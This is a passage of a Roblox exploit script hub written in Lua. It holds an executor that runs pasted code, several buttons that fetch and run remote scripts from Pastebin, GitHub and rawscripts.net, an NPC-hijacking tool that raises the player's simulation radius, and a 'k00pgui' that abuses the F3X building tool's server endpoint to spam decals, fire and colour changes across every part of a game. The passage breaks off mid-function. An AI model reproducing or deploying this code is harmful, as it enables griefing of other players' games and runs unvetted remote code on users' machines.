title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "join bluudud fuck off roblox"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end,
})
local Button = MainTab:CreateButton({
Name = "ink monster ( u nead to be R6 )",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/4iKeBDHk"))()
end,
})
local Button = MainTab:CreateButton({
Name = "1x1x1x1 fe gui",
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/Ysxruk5W"))()
end,
})
local Button = MainTab:CreateButton({
Name = "npc controler",
Callback = function()
--1. rules: it is forbidden to change the credit name, this script was created by @im_patrick you will be charged dcma for changing the credit
--2. rules: changing the code using AI and claiming it as your own is not allowed
if patricknpcpanel then return end; patricknpcpanel = true
local github = "https://raw.githubusercontent.com/randomstring0/fe-source/refs/heads/main/NPC"
local load = loadstring(game:HttpGet(github .. "/module.Luau"))()
saved = loadstring(game:HttpGet(github .. "/table.luau"))()
local save = saved or {}
local g2l = load.G2L
local new = load.create()
local lighting = game:GetService("Lighting")
local tweenservice = game:GetService("TweenService")
local rs = game:GetService("RunService")
local ws = game:GetService("Workspace")
local plrs = game:GetService("Players")
local lp = plrs.LocalPlayer
local mouse = lp:GetMouse()
local fast = TweenInfo.new(.5, Enum.EasingStyle.Exponential)
local medium = TweenInfo.new(.67)
local slow = TweenInfo.new(.8)
local rad = 150
local currentnpc
local highlight = Instance.new("Highlight")
highlight.Parent = lp
highlight.FillTransparency = 1
highlight.OutlineTransparency = 1
local light = function(adornee, color)
task.spawn(function()
highlight.Adornee = adornee
highlight.OutlineColor = color
tweenservice:Create(highlight, medium, {OutlineTransparency = 0}):Play()
task.wait(.5)
tweenservice:Create(highlight, medium, {OutlineTransparency = 1}):Play()
end)
end
local isnpc = function(ins)
local humanoid = ins:FindFirstChildOfClass("Humanoid")
local player = plrs:GetPlayerFromCharacter(ins)
if humanoid and not player then
return ins
end
return nil
end
new:mainbutton(save["1"].title, save["1"].des, function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
local hum = currentnpc:FindFirstChildOfClass("Humanoid")
if hum then
hum:ChangeState(save["1"].val)
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
end)
new:mainbutton(save["2"].title, save["2"].des, function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
if lp and lp.Character then
local char = lp.Character
currentnpc:PivotTo(char:GetPivot())
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
end)
new:mainbutton(save["3"].title, save["3"].des, function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part then
if lp and lp.Character then
local char = lp.Character
char:PivotTo(currentnpc:GetPivot())
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
end)
local chr, cons
new:maintoggle(save["4"].title, save["4"].des, function(a)
if a then
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
if lp and lp.Character then
chr = lp.Character
lp.Character = currentnpc
ws.CurrentCamera.CameraSubject = currentnpc:FindFirstChild("HumanoidRootPart")
-- idea from sonle
local move = 0.01
cons = rs.PreSimulation:Connect(function()
local hum = lp.Character:FindFirstChildOfClass("Humanoid")
if lp.Character and hum then
hum.RootPart.CFrame += vector.create(0,move,0)
move = -move
else
if cons then
cons:Disconnect()
cons = nil
end
end
end)
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
else
if chr then
lp.Character = chr
ws.CurrentCamera.CameraSubject = chr.Humanoid
chr = nil
if cons then
cons:Disconnect()
cons = nil
end
end
end
end)
new:mainbutton(save["5"].title, save["5"].des, function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
if lp and lp.Character then
local char = lp.Character
currentnpc:PivotTo(CFrame.new(0, 1000, 0))
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
end)
new:mainbutton(save["6"].title, save["6"].des, function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
local hum = currentnpc:FindFirstChildOfClass("Humanoid")
if hum then
hum.Sit = not hum.Sit
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
end)
new:mainbutton(save["7"].title, save["7"].des, function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
local hum = currentnpc:FindFirstChildOfClass("Humanoid")
if hum then
hum:ChangeState(save["7"].val)
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
end
end
end)
local con, follownpc
follownpc = new:maintoggle(save["8"].title, save["8"].des, function(a)
if a then
con = rs.RenderStepped:Connect(function()
if currentnpc then
local part = currentnpc:FindFirstChild("HumanoidRootPart")
if part and partowner(part) then
local hum = currentnpc:FindFirstChildOfClass("Humanoid")
if hum then
local hrp=lp.Character:FindFirstChild("HumanoidRootPart")
if hrp then
hum:MoveTo(hrp.Position + Vector3.new(-4,0,0))
end
end
else
light(currentnpc, Color3.fromRGB(255, 0, 0))
if con then
follownpc:swich(false)
con:Disconnect()
con = nil
end
end
else
if con then
follownpc:swich(false)
con:Disconnect()
con = nil
end
end
end)
else
if con then
con:Disconnect()
con = nil
end
end
end)
local con1
new:extratoggle(save["9"].title, function(a)
if a then
con1 = rs.Stepped:Connect(function()
local hrp1 = lp.Character and lp.Character:FindFirstChild("HumanoidRootPart")
if not hrp1 then return end
local nbp = ws:GetPartBoundsInRadius(hrp1.Position, 13)
for _, part in pairs(nbp) do
local model = part:FindFirstAncestorOfClass("Model")
if model and isnpc(model) then
local npc = model
local hrp = npc:FindFirstChild("HumanoidRootPart")
if hrp and partowner(hrp) and not hrp.Anchored and npc ~= lp.Character then
local hum = npc:FindFirstChildOfClass("Humanoid")
if hum then
hum:ChangeState(save["9"].val)
end
end
end
end
end)
else
if con1 then
con1:Disconnect()
con1 = nil
end
end
end)
local con2
new:extratoggle(save["10"].title, function(a)
if a then
con2 = rs.Stepped:Connect(function()
local hrp1 = lp.Character and lp.Character:FindFirstChild("HumanoidRootPart")
if not hrp1 then return end
local nbp = ws:GetPartBoundsInRadius(hrp1.Position, 13)
for _, part in pairs(nbp) do
local model = part:FindFirstAncestorOfClass("Model")
if model and isnpc(model) then
local npc = model
local hrp = npc:FindFirstChild("HumanoidRootPart")
if hrp and partowner(hrp) and not hrp.Anchored and npc ~= lp.Character then
local hum = npc:FindFirstChildOfClass("Humanoid")
if hum then
hum:ChangeState(save["10"].val)
end
end
end
end
end)
else
if con2 then
con2:Disconnect()
con2 = nil
end
end
end)
mouse.Button1Down:Connect(function()
if clicknpc and mouse.Target and mouse.Target.Parent:FindFirstChild("HumanoidRootPart") then
if mouse.Target.Parent:FindFirstChild("HumanoidRootPart").Anchored == false then
if not plrs:GetPlayerFromCharacter(mouse.Target.Parent) then
if partowner(mouse.Target.Parent:FindFirstChild("HumanoidRootPart")) then
currentnpc = mouse.Target.Parent
light(currentnpc, Color3.fromRGB(0, 255, 0))
else
light(mouse.Target.Parent, Color3.fromRGB(255, 0, 0))
end
end
else
light(mouse.Target.Parent, Color3.fromRGB(255, 0, 0))
end
end
end)
rs.RenderStepped:Connect(function()
if sethiddenproperty then
sethiddenproperty(lp,"SimulationRadius",rad)
else
lp.SimulationRadius=rad
end
end)
return g2l, require;
end,
})
local Button = MainTab:CreateButton({
Name = "op admin ( not all games )",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-QuirkyCMD-OP-Script-53762"))()
end,
})
local Button = MainTab:CreateButton({
Name = "rlly cool c00lgui",
Callback = function()
-- Notification GUI first
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "C00lkiddNotify"
ScreenGui.ResetOnSpawn = false
ScreenGui.Parent = PlayerGui
local Frame = Instance.new("Frame")
Frame.Size = UDim2.new(0, 300, 0, 100)
Frame.Position = UDim2.new(0.5, -150, 0.2, 0)
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 3
Frame.BorderColor3 = Color3.fromRGB(255, 0, 0)
Frame.Parent = ScreenGui
local TextLabel = Instance.new("TextLabel")
TextLabel.Size = UDim2.new(1, 0, 1, 0)
TextLabel.BackgroundTransparency = 1
TextLabel.Text = "SCRIPT BY C00LKIDDISKINGNOW"
TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.TextSize = 24
TextLabel.Parent = Frame
-- Auto-destroy the GUI after a short delay
task.delay(3, function()
ScreenGui:Destroy()
end)
-- Then execute your loadstring
loadstring(game:HttpGet("https://pastebin.com/raw/p4BTwWL7"))()
end,
})
local Button = MainTab:CreateButton({
Name = "k00pgui ( u nead f3x for it )",
Callback = function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local k00ply = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local ScrollingFrame = Instance.new("ScrollingFrame")
local ImageLabel = Instance.new("ImageLabel")
local TextLabel = Instance.new("TextLabel")
local TextLabel_2 = Instance.new("TextLabel")
local TextLabel_3 = Instance.new("TextLabel")
local TextLabel_4 = Instance.new("TextLabel")
local _666 = Instance.new("TextButton")
local canada = Instance.new("TextButton")
local ImageLabel_2 = Instance.new("ImageLabel")
local shut = Instance.new("TextButton")
local musicbypas10 = Instance.new("TextButton")
local musicbypas9 = Instance.new("TextButton")
local musicbypas8 = Instance.new("TextButton")
local musicbypas7 = Instance.new("TextButton")
local decal = Instance.new("TextButton")
local gametp = Instance.new("TextButton")
local disco = Instance.new("TextButton")
local ball = Instance.new("TextButton")
local spin = Instance.new("TextButton")
local music = Instance.new("TextButton")
local musicbypas = Instance.new("TextButton")
local TextLabel_5 = Instance.new("TextLabel")
local musicbypas3 = Instance.new("TextButton")
local musicbypas4 = Instance.new("TextButton")
local musicbypas5 = Instance.new("TextButton")
local message = Instance.new("TextButton")
local stop = Instance.new("TextButton")
local k00pk00p = Instance.new("TextButton")
local musicbypas6 = Instance.new("TextButton")
local kaax = Instance.new("TextButton")
local gravityhammer = Instance.new("TextButton")
local Destroy = Instance.new("TextButton")
local hint = Instance.new("TextButton")
local thomas = Instance.new("TextButton")
local theme = Instance.new("TextButton")
local antileave = Instance.new("TextButton")
local eses = Instance.new("TextButton")
local dreemy = Instance.new("TextButton")
local shamsterky = Instance.new("TextButton")
local sky2 = Instance.new("TextButton")
local kill = Instance.new("TextButton")
local musicbypas10_2 = Instance.new("TextButton")
local randcol = Instance.new("TextButton")
local unanchor = Instance.new("TextButton")
local toad = Instance.new("TextButton")
local sky = Instance.new("TextButton")
local shut_2 = Instance.new("TextButton")
local musicbypas2 = Instance.new("TextButton")
local rain = Instance.new("TextButton")
local r6 = Instance.new("TextButton")
local parts = Instance.new("TextButton")
local shed = Instance.new("TextButton")
local avatar = Instance.new("TextButton")
local avatar_2 = Instance.new("TextButton")
local shut_3 = Instance.new("TextButton")
--Properties:
k00ply.Name = "k00ply"
k00ply.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
k00ply.ResetOnSpawn = false
Frame.Parent = k00ply
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(1, 53, 10)
Frame.BorderSizePixel = 5
Frame.Position = UDim2.new(0.154512331, -49, 0.275485754, -185)
Frame.Size = UDim2.new(0, 415, 0, 642)
ScrollingFrame.Parent = Frame
ScrollingFrame.Active = true
ScrollingFrame.BackgroundColor3 = Color3.fromRGB(24, 24, 24)
ScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
ScrollingFrame.Position = UDim2.new(0.0250000004, 0, 0.0219999999, 0)
ScrollingFrame.Size = UDim2.new(0, 393, 0, 620)
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 1.89999998, 0)
ScrollingFrame.ScrollBarThickness = 18
ImageLabel.Parent = ScrollingFrame
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BackgroundTransparency = 1.000
ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.BorderSizePixel = 0
ImageLabel.Size = UDim2.new(1, 0, 1, 0)
ImageLabel.Image = "http://www.roblox.com/asset/?id=123724497894158"
ImageLabel.ImageTransparency = 0.600
TextLabel.Parent = ImageLabel
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel.Position = UDim2.new(0.272000015, 0, 0.0189999994, 0)
TextLabel.Size = UDim2.new(0, 170, 0, 32)
TextLabel.Font = Enum.Font.Arial
TextLabel.Text = "k00pgui v8 (F3X)"
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
TextLabel_2.Parent = TextLabel
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_2.Position = UDim2.new(-0.00465016067, 0, 1.25834417, 0)
TextLabel_2.Size = UDim2.new(0, 170, 0, 32)
TextLabel_2.Font = Enum.Font.Arial
TextLabel_2.Text = "by @k00pkiddAlt [team k00pkidd]"
TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 14.000
TextLabel_2.TextWrapped = true
TextLabel_3.Parent = TextLabel_2
TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_3.Position = UDim2.new(-0.0282941032, 0, 18.5774994, 0)
TextLabel_3.Size = UDim2.new(0, 175, 0, 32)
TextLabel_3.Font = Enum.Font.Arial
TextLabel_3.Text = "-- BYPASSED AUDIOS --"
TextLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.TextScaled = true
TextLabel_3.TextSize = 14.000
TextLabel_3.TextWrapped = true
TextLabel_4.Parent = TextLabel_2
TextLabel_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_4.BackgroundTransparency = 1.000
TextLabel_4.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_4.Position = UDim2.new(0.442408621, 0, 21.7270947, 0)
TextLabel_4.Size = UDim2.new(0, 170, 0, 14)
TextLabel_4.Font = Enum.Font.Arial
TextLabel_4.Text = "by k00pkiddAlt [team k00pkidd]"
TextLabel_4.TextColor3 = Color3.fromRGB(24, 24, 24)
TextLabel_4.TextScaled = true
TextLabel_4.TextSize = 14.000
TextLabel_4.TextWrapped = true
_666.Name = "666"
_666.Parent = TextLabel_4
_666.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
_666.BorderColor3 = Color3.fromRGB(0, 53, 11)
_666.Position = UDim2.new(-0.241176382, 0, -43, 0)
_666.Size = UDim2.new(0, 99, 0, 39)
_666.Font = Enum.Font.SourceSans
_666.Text = "666"
_666.TextColor3 = Color3.fromRGB(255, 255, 255)
_666.TextScaled = true
_666.TextSize = 14.000
_666.TextWrapped = true
_666.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
-- main func
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function addfire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncfire(part, size, heat)
local args = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 30,
["Heat"] = 35
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function addlight(part, brightness)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "PointLight"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function synclight(part, brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "PointLight",
["Brightness"] = brightness,
["Color"] = Color3.new(1, 0, 0)
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function decalspam()
local decalid = "96757457442198"
for _, v in ipairs(workspace:GetDescendants()) do
if v.Name == "Sky" then
print("no")
elseif v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
createdecal(v, Enum.NormalId.Front)
createdecal(v, Enum.NormalId.Back)
createdecal(v, Enum.NormalId.Left)
createdecal(v, Enum.NormalId.Right)
createdecal(v, Enum.NormalId.Bottom)
createdecal(v, Enum.NormalId.Top)
setdecal(v, decalid, Enum.NormalId.Front)
setdecal(v, decalid, Enum.NormalId.Back)
setdecal(v, decalid, Enum.NormalId.Left)
setdecal(v, decalid, Enum.NormalId.Right)
setdecal(v, decalid, Enum.NormalId.Bottom)
setdecal(v, decalid, Enum.NormalId.Top)
end)
end
end
end
local function lightall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
addlight(v)
synclight(v, 15)
end)
end
end
end
local function colorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
color(v, Color3.new(0.0666667, 0.0666667, 0.0666667))
end)
end
end
end
local function sky666()
spawn(function()
local position = char.Head.Position
local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(position + Vector3.new(0, 2, 0)), workspace)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://8006679977"
}
}
}
serverendpoint:InvokeServer(unpack(args))
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = Vector3.new(90, 90, 90)
}
}
}
serverendpoint:InvokeServer(unpack(args))
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://15849970412"
}
}
}
serverendpoint:InvokeServer(unpack(args))
name(part, "Sky")
lock(part, true)
setcollision(part, false)
end)
end
local function fireall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
addfire(v)
syncfire(v)
end)
end
end
end
local function sixsixsix()
fireall()
sky666()
decalspam()
colorall()
lightall()
end
sixsixsix()
end)
canada.Name = "canada"
canada.Parent = TextLabel_4
canada.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
canada.BorderColor3 = Color3.fromRGB(0, 53, 11)
canada.Position = UDim2.new(-0.86517638, 0, -12.5, 0)
canada.Size = UDim2.new(0, 99, 0, 39)
canada.Font = Enum.Font.SourceSans
canada.Text = "Canada Spam"
canada.TextColor3 = Color3.fromRGB(255, 255, 255)
canada.TextScaled = true
canada.TextSize = 14.000
canada.TextWrapped = true
canada.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
